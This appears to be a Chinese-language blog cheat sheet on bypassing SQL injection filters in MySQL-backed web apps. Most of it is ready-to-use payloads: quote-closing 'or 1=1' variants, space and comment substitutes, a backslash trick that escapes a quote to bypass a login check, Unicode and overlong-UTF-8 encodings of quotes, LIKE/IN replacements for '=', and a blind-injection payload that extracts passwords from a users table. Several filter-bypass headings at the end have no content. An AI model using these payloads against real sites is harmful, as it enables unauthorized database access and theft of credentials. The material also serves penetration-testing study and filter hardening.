SQL注入绕过过滤

SQL注入总结

system_user()--系统用户名 user()--用户名 current_user()--当前用户名 session_user()--链接数据库的用户名 database()--数据库名 version()--数据库版本 @@datadir--数据库路径 @@basedir--数据库安装路径 @@version_conpile_os--操作系统 concat(str1,str2,...)--没有分隔符地连接字符串 concat_ws(separator,str1,str2,...)--含有分隔符地连接字符串 group_concat(str1,str2,...)--连接一个组的所有字符串，并以逗号分隔每一条数据。 --+可以用#替换，url 提交过程中Url 编码后的#为%23 or 1=1--+ 'or 1=1--+ "or 1=1--+ )or 1=1--+ ')or 1=1--+ ") or 1=1--+ "))or 1=1--+ 一般的代码为： $id=$_GET['id']; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 此处考虑两个点，一个是闭合前面你的' 另一个是处理后面的' ，一般采用两种思路，闭合后面的引号或者注释掉，注释掉采用--+ 或者#（%23） 联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表，从而实现将两个表的查询组合到一起，使用谓词为UNION或UNION ALL。将多个查询的结果合并到一起（纵向合并）：字段数不变，多个查询的记录数合并。 基本语法： Select 语句 Union

https://ccship.cn/2021/10/21/sql%E6%B3%A8%E5%85%A5%E6%80%BB%E7%BB%93/

空格被过滤

/**/替代空格
%09 TAB 键（水平）
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键（垂直）
%a0 空格
() 代替空格，在MySQL中，括号是用来包围子查询的。因此，任何可以计算出结果的语句，都可以用括号包围起来。

过滤单引号

select user from user where user='$_POST[username]' and password='$_POST[password]';

username=admin\&password=123456#
将这个拼接进去，\就可以将第2个单引号转义掉
select * from users where username='admin\' and password='123456#';
这样第1个单引号就会找第3个单引号进行闭合，后台接收到的username实际上是admin\' and password=这个整体
接下来构造password为or 2>1#
select * from users where username='admin\' and password=' or 2>1#';
上面的语句会返回为真，通过这样的思路，我们就可以进行bool盲注

注释符

//
--%20
/**/
#
--+
-- -
%00
;
;%00
;\x00

大小写绕过

双写绕过

编码绕过

十六进制编码

双重编码绕过

一些unicode编码举例

单引号：'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白：
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

like绕过

?id=1' or 1 like 1#
可以绕过对 = > 等过滤

in绕过

or '1' IN ('1234')#
可以替代=

等价函数或变量

hex()、bin() ==> ascii()
 
sleep() ==>benchmark()
 
concat_ws()==>group_concat()
 
mid()、substr() ==> substring()
 
@@user ==> user()
 
@@datadir ==> datadir()
 
举例：substring()和substr()无法使用时：?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74　
 
或者：
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

反引号绕过

过滤union

过滤where

过滤limit

过滤group by

过滤select

过滤’(单引号)

过滤hex

过滤substr

过滤,逗号